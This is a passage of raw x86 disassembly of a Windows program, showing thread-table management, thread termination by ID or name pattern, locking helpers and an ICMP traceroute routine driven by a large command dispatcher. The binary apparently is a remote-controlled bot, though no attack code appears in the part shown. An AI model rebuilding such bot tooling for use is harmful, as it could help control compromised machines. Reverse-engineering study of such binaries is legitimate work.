		jmp	short loc_4096F1
; ---------------------------------------------------------------------------


loc_4096EB:				; CODE XREF: sub_4095A4+13Dj
		mov	eax, [ebp+var_C]
		mov	[ebp+var_14], eax


loc_4096F1:				; CODE XREF: sub_4095A4+145j
		mov	eax, [ebp+var_C]
		add	eax, 0Ch
		push	eax
		push	0
		push	[ebp+var_14]
		push	offset sub_4094E6
		push	0
		push	0
		call	sub_416DC0	; _beginthreadex
		add	esp, 18h
		mov	ecx, [ebp+var_C]
		mov	[ecx+8], eax
		mov	eax, [ebp+var_C]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_409753
		push	[ebp+arg_4]
		call	sub_416B4C	; free
		pop	ecx
		mov	eax, dword_41E3D0
		dec	eax
		mov	dword_41E3D0, eax
		push	198h
		push	0
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	offset dword_41E3B8
		call	sub_409C7A
		pop	ecx
		xor	eax, eax
		jmp	short locret_409761
; ---------------------------------------------------------------------------


loc_409753:				; CODE XREF: sub_4095A4+177j
		push	offset dword_41E3B8
		call	sub_409C7A
		pop	ecx
		push	1
		pop	eax

locret_409761:				; CODE XREF: sub_4095A4+30j
					; sub_4095A4+7Cj ...
		leave
		retn
sub_4095A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409763	proc near		; CODE XREF: sub_401244+73p
					; sub_401244+547p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	offset dword_41E3B8
		call	sub_409C6C
		pop	ecx
		mov	eax, dword_41E3D0
		dec	eax
		mov	dword_41E3D0, eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+8]
		call	dword_4170A4	; CloseHandle
		push	198h
		push	0
		push	[ebp+arg_0]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	offset dword_41E3B8
		call	sub_409C7A
		pop	ecx
		pop	ebp
		retn
sub_409763	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4097A7	proc near		; CODE XREF: sub_40A9CF+EBFp

var_194		= dword	ptr -194h
var_190		= byte ptr -190h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 194h
		cmp	[ebp+arg_0], 0
		jnz	short loc_4097BB
		jmp	locret_4098F1
; ---------------------------------------------------------------------------


loc_4097BB:				; CODE XREF: sub_4097A7+Dj
		push	[ebp+arg_0]
		call	sub_407A86
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_409825
		push	[ebp+arg_0]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_4], eax
		push	offset dword_41E3B8
		call	sub_409C6C
		pop	ecx
		cmp	[ebp+var_4], 10h
		jnb	short loc_409815
		mov	eax, [ebp+var_4]
		imul	eax, 198h
		mov	ecx, dword_41E3D8
		cmp	dword ptr [ecx+eax+8], 0
		jz	short loc_409815
		mov	eax, [ebp+var_4]
		imul	eax, 198h
		mov	ecx, dword_41E3D8
		mov	dword ptr [ecx+eax+4], 1


loc_409815:				; CODE XREF: sub_4097A7+3Fj
					; sub_4097A7+55j
		push	offset dword_41E3B8
		call	sub_409C7A
		pop	ecx
		jmp	locret_4098F1
; ---------------------------------------------------------------------------


loc_409825:				; CODE XREF: sub_4097A7+22j
		push	[ebp+arg_0]
		push	offset aS	; "*%s*"
		push	185h
		lea	eax, [ebp+var_190]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 10h
		push	offset dword_41E3B8
		call	sub_409C6C
		pop	ecx
		mov	eax, dword_41E3D0
		mov	[ebp+var_8], eax
		and	[ebp+var_194], 0
		jmp	short loc_40986A
; ---------------------------------------------------------------------------


loc_40985D:				; CODE XREF: sub_4097A7:loc_4098E1j
		mov	eax, [ebp+var_194]
		inc	eax
		mov	[ebp+var_194], eax


loc_40986A:				; CODE XREF: sub_4097A7+B4j
		cmp	[ebp+var_194], 10h
		jnb	short loc_4098E6
		mov	eax, [ebp+var_194]
		imul	eax, 198h
		mov	ecx, dword_41E3D8
		cmp	dword ptr [ecx+eax+8], 0
		jz	short loc_4098E1
		mov	eax, [ebp+var_8]
		dec	eax
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_190]
		push	eax
		mov	eax, [ebp+var_194]
		imul	eax, 198h
		mov	ecx, dword_41E3D8
		lea	eax, [ecx+eax+14h]
		push	eax
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_4098D9
		mov	eax, [ebp+var_194]
		imul	eax, 198h
		mov	ecx, dword_41E3D8
		mov	dword ptr [ecx+eax+4], 1


loc_4098D9:				; CODE XREF: sub_4097A7+116j
		cmp	[ebp+var_8], 0
		jnz	short loc_4098E1
		jmp	short loc_4098E6
; ---------------------------------------------------------------------------


loc_4098E1:				; CODE XREF: sub_4097A7+E3j
					; sub_4097A7+136j
		jmp	loc_40985D
; ---------------------------------------------------------------------------


loc_4098E6:				; CODE XREF: sub_4097A7+CAj
					; sub_4097A7+138j
		push	offset dword_41E3B8
		call	sub_409C7A
		pop	ecx

locret_4098F1:				; CODE XREF: sub_4097A7+Fj
					; sub_4097A7+79j
		leave
		retn
sub_4097A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4098F3	proc near		; CODE XREF: sub_40A9CF+F13p

var_19C		= dword	ptr -19Ch
var_198		= dword	ptr -198h
var_194		= byte ptr -194h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 19Ch
		cmp	[ebp+arg_0], 0
		jnz	short loc_409907
		jmp	locret_409AD3
; ---------------------------------------------------------------------------


loc_409907:				; CODE XREF: sub_4098F3+Dj
		push	[ebp+arg_0]
		call	sub_407A86
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	loc_4099B4
		push	[ebp+arg_0]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_4], eax
		push	offset dword_41E3B8
		call	sub_409C6C
		pop	ecx
		cmp	[ebp+var_4], 10h
		jnb	short loc_4099A4
		mov	eax, [ebp+var_4]
		imul	eax, 198h
		mov	ecx, dword_41E3D8
		cmp	dword ptr [ecx+eax+8], 0
		jz	short loc_4099A4
		mov	eax, dword_41E3D0
		dec	eax
		mov	dword_41E3D0, eax
		mov	eax, [ebp+var_4]
		imul	eax, 198h
		mov	ecx, dword_41E3D8
		mov	eax, [ecx+eax+8]
		mov	[ebp+var_8], eax
		push	198h
		push	0
		mov	eax, [ebp+var_4]
		imul	eax, 198h
		mov	ecx, dword_41E3D8
		add	ecx, eax
		push	ecx
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	0
		push	[ebp+var_8]
		call	dword_4170E0	; TerminateThread
		push	[ebp+var_8]
		call	dword_4170A4	; CloseHandle


loc_4099A4:				; CODE XREF: sub_4098F3+43j
					; sub_4098F3+59j
		push	offset dword_41E3B8
		call	sub_409C7A
		pop	ecx
		jmp	locret_409AD3
; ---------------------------------------------------------------------------


loc_4099B4:				; CODE XREF: sub_4098F3+22j
		push	[ebp+arg_0]
		push	offset aS	; "*%s*"
		push	185h
		lea	eax, [ebp+var_194]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 10h
		push	offset dword_41E3B8
		call	sub_409C6C
		pop	ecx
		mov	eax, dword_41E3D0
		mov	[ebp+var_C], eax
		and	[ebp+var_198], 0
		jmp	short loc_4099F9
; ---------------------------------------------------------------------------


loc_4099EC:				; CODE XREF: sub_4098F3:loc_409AC3j
		mov	eax, [ebp+var_198]
		inc	eax
		mov	[ebp+var_198], eax


loc_4099F9:				; CODE XREF: sub_4098F3+F7j
		cmp	[ebp+var_198], 10h
		jnb	loc_409AC8
		mov	eax, [ebp+var_198]
		imul	eax, 198h
		mov	ecx, dword_41E3D8
		cmp	dword ptr [ecx+eax+8], 0
		jz	loc_409AC3
		mov	eax, [ebp+var_C]
		dec	eax
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_194]
		push	eax
		mov	eax, [ebp+var_198]
		imul	eax, 198h
		mov	ecx, dword_41E3D8
		lea	eax, [ecx+eax+14h]
		push	eax
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_409ABB
		mov	eax, dword_41E3D0
		dec	eax
		mov	dword_41E3D0, eax
		mov	eax, [ebp+var_198]
		imul	eax, 198h
		mov	ecx, dword_41E3D8
		mov	eax, [ecx+eax+8]
		mov	[ebp+var_19C], eax
		push	198h
		push	0
		mov	eax, [ebp+var_198]
		imul	eax, 198h
		mov	ecx, dword_41E3D8
		add	ecx, eax
		push	ecx
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	0
		push	[ebp+var_19C]
		call	dword_4170E0	; TerminateThread
		push	[ebp+var_19C]
		call	dword_4170A4	; CloseHandle


loc_409ABB:				; CODE XREF: sub_4098F3+161j
		cmp	[ebp+var_C], 0
		jnz	short loc_409AC3
		jmp	short loc_409AC8
; ---------------------------------------------------------------------------


loc_409AC3:				; CODE XREF: sub_4098F3+12Aj
					; sub_4098F3+1CCj
		jmp	loc_4099EC
; ---------------------------------------------------------------------------


loc_409AC8:				; CODE XREF: sub_4098F3+10Dj
					; sub_4098F3+1CEj
		push	offset dword_41E3B8
		call	sub_409C7A
		pop	ecx

locret_409AD3:				; CODE XREF: sub_4098F3+Fj
					; sub_4098F3+BCj
		leave
		retn
sub_4098F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409AD5	proc near		; DATA XREF: sub_409BF1+2Ao

var_1A8		= byte ptr -1A8h
var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A8h
		push	1A3h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1A8]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		cmp	dword_41E3D0, 0
		jz	short loc_409B25
		push	10h
		push	dword_41E3D0
		push	offset dword_4194EC
		lea	eax, [ebp+var_1A8]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		jmp	short loc_409B3F
; ---------------------------------------------------------------------------


loc_409B25:				; CODE XREF: sub_409AD5+30j
		push	offset dword_4194CC
		lea	eax, [ebp+var_1A8]
		push	eax
		call	sub_40D53F
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	locret_409BED
; ---------------------------------------------------------------------------


loc_409B3F:				; CODE XREF: sub_409AD5+4Ej
		push	offset dword_41E3B8
		call	sub_409C6C
		pop	ecx
		and	[ebp+var_10], 0
		and	[ebp+var_4], 0
		jmp	short loc_409B5B
; ---------------------------------------------------------------------------


loc_409B54:				; CODE XREF: sub_409AD5:loc_409BDBj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_409B5B:				; CODE XREF: sub_409AD5+7Dj
		cmp	[ebp+var_4], 10h
		jge	short loc_409BE0
		mov	eax, [ebp+var_4]
		imul	eax, 198h
		mov	ecx, dword_41E3D8
		cmp	dword ptr [ecx+eax+8], 0
		jz	short loc_409BDB
		push	offset dword_41E3B8
		call	sub_409C7A
		pop	ecx
		push	3E8h
		call	dword_41709C	; Sleep
		push	offset dword_41E3B8
		call	sub_409C6C
		pop	ecx
		mov	eax, [ebp+var_4]
		imul	eax, 198h
		mov	ecx, dword_41E3D8
		lea	eax, [ecx+eax+14h]
		push	eax
		push	[ebp+var_4]
		push	offset dword_4194BC
		lea	eax, [ebp+var_1A8]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		mov	eax, [ebp+var_4]
		imul	eax, 198h
		mov	ecx, dword_41E3D8
		cmp	dword ptr [ecx+eax+4], 0
		jz	short loc_409BDB
		jmp	short loc_409BE0
; ---------------------------------------------------------------------------


loc_409BDB:				; CODE XREF: sub_409AD5+A0j
					; sub_409AD5+102j
		jmp	loc_409B54
; ---------------------------------------------------------------------------


loc_409BE0:				; CODE XREF: sub_409AD5+8Aj
					; sub_409AD5+104j
		push	offset dword_41E3B8
		call	sub_409C7A
		pop	ecx
		xor	eax, eax

locret_409BED:				; CODE XREF: sub_409AD5+65j
		leave
		retn	4
sub_409AD5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409BF1	proc near		; CODE XREF: sub_40A9CF+AFBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A3h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_409C0B
		jmp	short locret_409C34
; ---------------------------------------------------------------------------


loc_409C0B:				; CODE XREF: sub_409BF1+16j
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	[ebp+arg_0]
		push	offset sub_409AD5
		call	sub_409479
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short locret_409C34
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx

locret_409C34:				; CODE XREF: sub_409BF1+18j
					; sub_409BF1+38j
		leave
		retn
sub_409BF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409C36	proc near		; CODE XREF: sub_405FA3+9p
					; sub_40938F+1Fp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	18h
		push	0
		push	[ebp+arg_0]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		cmp	dword_41DF20, 0
		jz	short loc_409C61
		push	80000400h
		push	[ebp+arg_0]
		call	dword_41DF20	; InitializeCriticalSectionAndSpinCount
		jmp	short loc_409C6A
; ---------------------------------------------------------------------------


loc_409C61:				; CODE XREF: sub_409C36+19j
		push	[ebp+arg_0]
		call	dword_4170E4	; InitializeCriticalSection


loc_409C6A:				; CODE XREF: sub_409C36+29j
		pop	ebp
		retn
sub_409C36	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409C6C	proc near		; CODE XREF: sub_406041+10p
					; sub_4095A4+Bp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	dword_4170EC	; RtlEnterCriticalSection
		pop	ebp
		retn
sub_409C6C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409C7A	proc near		; CODE XREF: sub_406041+26p
					; sub_406041+307p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	dword_41710C	; RtlLeaveCriticalSection
		pop	ebp
		retn
sub_409C7A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409C88	proc near		; CODE XREF: sub_40332B+10p
					; sub_41113B+7EDp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		lock xadd [esi], eax
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_409C88	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409C9D	proc near		; CODE XREF: sub_4042FB+17p
					; sub_4042FB+25p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		lock xchg eax, [esi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_409C9D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409CB1	proc near		; CODE XREF: sub_409DD0+202p

var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		call	dword_41E3DC
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0FFFFFFFFh
		jnz	short loc_409CD8
		push	offset aCouldNotGetAVa ; "Could	not get	a valid	ICMP handle\n"
		call	sub_416DD8	; printf
		pop	ecx
		xor	eax, eax
		jmp	locret_409DCE
; ---------------------------------------------------------------------------


loc_409CD8:				; CODE XREF: sub_409CB1+13j
		push	8
		push	0
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	al, [ebp+arg_8]
		mov	[ebp+var_18], al
		movzx	eax, [ebp+arg_10]
		push	eax
		call	sub_416DD2
		pop	ecx
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_C], eax
		movzx	eax, [ebp+arg_10]
		push	eax
		push	45h
		push	[ebp+var_C]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		movzx	eax, [ebp+arg_10]
		cmp	eax, 8
		jge	short loc_409D26
		mov	[ebp+var_38], 8
		jmp	short loc_409D2D
; ---------------------------------------------------------------------------


loc_409D26:				; CODE XREF: sub_409CB1+6Aj
		movzx	eax, [ebp+arg_10]
		mov	[ebp+var_38], eax


loc_409D2D:				; CODE XREF: sub_409CB1+73j
		mov	eax, [ebp+var_38]
		add	eax, 1Ch
		mov	[ebp+var_24], eax
		push	[ebp+var_24]
		call	sub_416DD2
		pop	ecx
		mov	[ebp+var_2C], eax
		mov	eax, [ebp+var_2C]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		mov	[ebp+var_4], eax
		push	[ebp+arg_C]
		push	[ebp+var_24]
		push	[ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		movzx	ax, [ebp+arg_10]
		push	eax
		push	[ebp+var_C]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		call	dword_41E3E8
		mov	[ebp+var_20], eax
		mov	[ebp+var_8], 1
		cmp	[ebp+var_20], 1
		jz	short loc_409D8D
		call	dword_417064	; RtlGetLastWin32Error
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		jmp	short loc_409DA4
; ---------------------------------------------------------------------------


loc_409D8D:				; CODE XREF: sub_409CB1+CDj
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		mov	ecx, [ecx]
		mov	[eax+4], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		mov	ecx, [ecx+8]
		mov	[eax+8], ecx


loc_409DA4:				; CODE XREF: sub_409CB1+DAj
		push	[ebp+var_1C]
		call	dword_41E3E4
		mov	eax, [ebp+var_C]
		mov	[ebp+var_30], eax
		push	[ebp+var_30]
		call	sub_416DCC
		pop	ecx
		mov	eax, [ebp+var_10]
		mov	[ebp+var_34], eax
		push	[ebp+var_34]
		call	sub_416DCC
		pop	ecx
		mov	eax, [ebp+var_8]

locret_409DCE:				; CODE XREF: sub_409CB1+22j
		leave
		retn
sub_409CB1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409DD0	proc near		; DATA XREF: sub_40A1A7+FDo

var_2F0		= dword	ptr -2F0h
var_2EC		= dword	ptr -2ECh
var_2E8		= dword	ptr -2E8h
var_2E4		= dword	ptr -2E4h
var_2E0		= dword	ptr -2E0h
var_2DC		= dword	ptr -2DCh
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C8		= dword	ptr -2C8h
var_2C4		= dword	ptr -2C4h
var_2C0		= dword	ptr -2C0h
var_2BC		= dword	ptr -2BCh
var_2B8		= dword	ptr -2B8h
var_2B4		= dword	ptr -2B4h
var_2B0		= byte ptr -2B0h
var_10D		= byte ptr -10Dh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2F0h
		push	2ACh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_2B0]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		movzx	eax, byte_41E3F0
		test	eax, eax
		jnz	short loc_409E6D
		push	offset aIcmp_dll ; "ICMP.DLL"
		call	dword_417054	; LoadLibraryA
		mov	dword_41E3E0, eax
		cmp	dword_41E3E0, 0
		jnz	short loc_409E24
		xor	eax, eax
		jmp	locret_40A1A3
; ---------------------------------------------------------------------------


loc_409E24:				; CODE XREF: sub_409DD0+4Bj
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	dword_41E3E0
		call	dword_417058	; GetProcAddress
		mov	dword_41E3DC, eax
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	dword_41E3E0
		call	dword_417058	; GetProcAddress
		mov	dword_41E3E8, eax
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	dword_41E3E0
		call	dword_417058	; GetProcAddress
		mov	dword_41E3E4, eax
		mov	byte_41E3F0, 1


loc_409E6D:				; CODE XREF: sub_409DD0+32j
		cmp	dword_41E3DC, 0
		jnz	short loc_409E7D
		xor	eax, eax
		jmp	locret_40A1A3
; ---------------------------------------------------------------------------


loc_409E7D:				; CODE XREF: sub_409DD0+A4j
		cmp	dword_41E3E8, 0
		jnz	short loc_409E8D
		xor	eax, eax
		jmp	locret_40A1A3
; ---------------------------------------------------------------------------


loc_409E8D:				; CODE XREF: sub_409DD0+B4j
		cmp	dword_41E3E4, 0
		jnz	short loc_409E9D
		xor	eax, eax
		jmp	locret_40A1A3
; ---------------------------------------------------------------------------


loc_409E9D:				; CODE XREF: sub_409DD0+C4j
		lea	eax, [ebp+var_10D]
		mov	[ebp+var_2B8], eax
		push	[ebp+var_2B8]
		call	dword_417244	; inet_addr
		mov	[ebp+var_2BC], eax
		cmp	[ebp+var_2BC], 0FFFFFFFFh
		jnz	short loc_409F18
		push	[ebp+var_2B8]
		call	dword_41723C	; gethostbyname
		mov	[ebp+var_2C0], eax
		cmp	[ebp+var_2C0], 0
		jz	short loc_409F06
		mov	eax, [ebp+var_2C0]
		movsx	eax, word ptr [eax+0Ah]
		push	eax
		mov	eax, [ebp+var_2C0]
		mov	eax, [eax+0Ch]
		push	dword ptr [eax]
		lea	eax, [ebp+var_2BC]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		jmp	short loc_409F18
; ---------------------------------------------------------------------------


loc_409F06:				; CODE XREF: sub_409DD0+10Dj
		push	offset aCouldNotResolv ; "Could	not resolve name"
		call	sub_416DD8	; printf
		pop	ecx
		xor	eax, eax
		jmp	locret_40A1A3
; ---------------------------------------------------------------------------


loc_409F18:				; CODE XREF: sub_409DD0+F2j
					; sub_409DD0+134j
		and	[ebp+var_4], 0
		mov	byte ptr [ebp+var_2B4],	1
		jmp	short loc_409F33
; ---------------------------------------------------------------------------


loc_409F25:				; CODE XREF: sub_409DD0:loc_40A19Cj
		mov	al, byte ptr [ebp+var_2B4]
		add	al, 1
		mov	byte ptr [ebp+var_2B4],	al


loc_409F33:				; CODE XREF: sub_409DD0+153j
		movzx	eax, byte ptr [ebp+var_2B4]
		movzx	ecx, [ebp+var_D]
		cmp	eax, ecx
		jg	loc_40A1A1
		cmp	[ebp+var_4], 0
		jnz	loc_40A1A1
		and	[ebp+var_2EC], 0
		or	[ebp+var_2E4], 0FFFFFFFFh
		and	[ebp+var_2E0], 0
		and	[ebp+var_2DC], 0
		and	[ebp+var_2D0], 0
		and	[ebp+var_2C8], 0
		and	[ebp+var_2CC], 0
		and	[ebp+var_2D8], 0
		and	[ebp+var_2D4], 0
		jmp	short loc_409F9E
; ---------------------------------------------------------------------------


loc_409F91:				; CODE XREF: sub_409DD0:loc_40A04Ej
		mov	eax, [ebp+var_2D4]
		inc	eax
		mov	[ebp+var_2D4], eax


loc_409F9E:				; CODE XREF: sub_409DD0+1BFj
		mov	eax, [ebp+var_2D4]
		cmp	eax, [ebp+var_8]
		jnb	loc_40A053
		cmp	[ebp+var_2D8], 0
		jnz	loc_40A053
		push	20h
		push	[ebp+var_C]
		push	[ebp+var_2B4]
		lea	eax, [ebp+var_2CC]
		push	eax
		push	[ebp+var_2BC]
		call	sub_409CB1
		add	esp, 14h
		test	eax, eax
		jz	short loc_40A047
		cmp	[ebp+var_2CC], 0
		jnz	short loc_40A02F
		mov	eax, [ebp+var_2D0]
		add	eax, [ebp+var_2C4]
		mov	[ebp+var_2D0], eax
		mov	eax, [ebp+var_2C4]
		cmp	eax, [ebp+var_2E4]
		jnb	short loc_40A013
		mov	eax, [ebp+var_2C4]
		mov	[ebp+var_2E4], eax


loc_40A013:				; CODE XREF: sub_409DD0+235j
		mov	eax, [ebp+var_2C4]
		cmp	eax, [ebp+var_2DC]
		jbe	short loc_40A02D
		mov	eax, [ebp+var_2C4]
		mov	[ebp+var_2DC], eax


loc_40A02D:				; CODE XREF: sub_409DD0+24Fj
		jmp	short loc_40A045
; ---------------------------------------------------------------------------


loc_40A02F:				; CODE XREF: sub_409DD0+215j
		mov	eax, [ebp+var_2CC]
		mov	[ebp+var_2EC], eax
		mov	[ebp+var_2D8], 1


loc_40A045:				; CODE XREF: sub_409DD0:loc_40A02Dj
		jmp	short loc_40A04E
; ---------------------------------------------------------------------------


loc_40A047:				; CODE XREF: sub_409DD0+20Cj
		xor	eax, eax
		jmp	locret_40A1A3
; ---------------------------------------------------------------------------


loc_40A04E:				; CODE XREF: sub_409DD0:loc_40A045j
		jmp	loc_409F91
; ---------------------------------------------------------------------------


loc_40A053:				; CODE XREF: sub_409DD0+1D7j
					; sub_409DD0+1E4j
		mov	eax, [ebp+var_2C8]
		mov	[ebp+var_2E8], eax
		cmp	[ebp+var_2EC], 0
		jnz	short loc_40A07B
		mov	eax, [ebp+var_2D0]
		xor	edx, edx
		div	[ebp+var_8]
		mov	[ebp+var_2E0], eax
		jmp	short loc_40A090
; ---------------------------------------------------------------------------


loc_40A07B:				; CODE XREF: sub_409DD0+296j
		and	[ebp+var_2E4], 0
		and	[ebp+var_2E0], 0
		and	[ebp+var_2DC], 0


loc_40A090:				; CODE XREF: sub_409DD0+2A9j
		cmp	[ebp+var_2EC], 0
		jnz	loc_40A165
		push	2
		push	4
		lea	eax, [ebp+var_2E8]
		push	eax
		call	dword_417220	; gethostbyaddr
		mov	[ebp+var_2F0], eax
		cmp	[ebp+var_2F0], 0
		jz	short loc_40A115
		movzx	eax, byte ptr [ebp+var_2E8+3]
		push	eax
		movzx	eax, byte ptr [ebp+var_2E8+2]
		push	eax
		movzx	eax, byte ptr [ebp+var_2E8+1]
		push	eax
		movzx	eax, byte ptr [ebp+var_2E8]
		push	eax
		mov	eax, [ebp+var_2F0]
		push	dword ptr [eax]
		push	[ebp+var_2DC]
		push	[ebp+var_2E0]
		push	[ebp+var_2E4]
		movzx	eax, byte ptr [ebp+var_2B4]
		push	eax
		push	offset dword_419594
		lea	eax, [ebp+var_2B0]
		push	eax
		call	sub_40D53F
		add	esp, 2Ch
		jmp	short loc_40A163
; ---------------------------------------------------------------------------


loc_40A115:				; CODE XREF: sub_409DD0+2EBj
		movzx	eax, byte ptr [ebp+var_2E8+3]
		push	eax
		movzx	eax, byte ptr [ebp+var_2E8+2]
		push	eax
		movzx	eax, byte ptr [ebp+var_2E8+1]
		push	eax
		movzx	eax, byte ptr [ebp+var_2E8]
		push	eax
		push	[ebp+var_2DC]
		push	[ebp+var_2E0]
		push	[ebp+var_2E4]
		movzx	eax, byte ptr [ebp+var_2B4]
		push	eax
		push	offset dword_419568
		lea	eax, [ebp+var_2B0]
		push	eax
		call	sub_40D53F
		add	esp, 28h


loc_40A163:				; CODE XREF: sub_409DD0+343j
		jmp	short loc_40A187
; ---------------------------------------------------------------------------


loc_40A165:				; CODE XREF: sub_409DD0+2C7j
		push	[ebp+var_2EC]
		movzx	eax, byte ptr [ebp+var_2B4]
		push	eax
		push	offset dword_419540
		lea	eax, [ebp+var_2B0]
		push	eax
		call	sub_40D53F
		add	esp, 10h


loc_40A187:				; CODE XREF: sub_409DD0:loc_40A163j
		mov	eax, [ebp+var_2BC]
		cmp	eax, [ebp+var_2E8]
		jnz	short loc_40A19C
		mov	[ebp+var_4], 1


loc_40A19C:				; CODE XREF: sub_409DD0+3C3j
		jmp	loc_409F25
; ---------------------------------------------------------------------------


loc_40A1A1:				; CODE XREF: sub_409DD0+170j
					; sub_409DD0+17Aj
		xor	eax, eax

locret_40A1A3:				; CODE XREF: sub_409DD0+4Fj
					; sub_409DD0+A8j ...
		leave
		retn	4
sub_409DD0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A1A7	proc near		; CODE XREF: sub_40A9CF+FAEp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		cmp	[ebp+arg_4], 0
		jnz	short loc_40A1C7
